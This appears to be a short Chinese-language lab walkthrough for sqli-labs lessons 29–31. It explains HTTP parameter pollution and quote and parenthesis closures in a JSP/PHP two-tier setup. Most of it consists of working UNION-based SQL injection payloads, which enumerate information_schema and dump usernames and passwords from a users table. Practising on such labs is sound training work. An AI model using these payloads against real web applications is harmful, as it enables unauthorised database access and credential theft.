lesson29_31
lesson 29
首先是了解服务器两层架构
总之就是要再去搭一个jsp的平台来
同时打开phpstudy和jspstudy
通过index.jsp访问到index.php生成的页面
(buuctf里面的lesson29完全没意义,就跟lesson1一样,老坑人了,这里最好自己搭一个)

通过修改第一个id发现回显不会发生变化,且注入会被拦截

但是修改第二个id则会回显id对应的username和password,且超出数据 会报错
所以第二个id处可注入
联合查询,步骤参考lesson 1
?id=1&id=-1’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=’security’–+

?id=1&id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=’users’–+

lesson 30
和29差不多,不过是数据的包裹变成了双引号

查库
?id=1&id=-3”union select 1,database(),3–+
查表
?id=1&id=-3”union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=’security’–+
查列
?id=1&id=-3”union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=’users’–+
查字段
?id=1&id=-3”union select 1,database(),group_concat(concat_ws(‘@@’,username,password)) from security.users–+
lesson 31
和前面一样
就是对数据的包裹变成了双引号加括号的形式
?id=1&id=-3”) union select 1,2,3–+

?id=1&id=-3”) union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=’security’–+
?id=1&id=-3”) union select 1,database(),group_concat(column_name)from information_schema.columns where table_name=’users’–+
?id=1&id=-3”) union select 1,database(),group_concat(concat_ws(0x7e,username,password))from security.users–+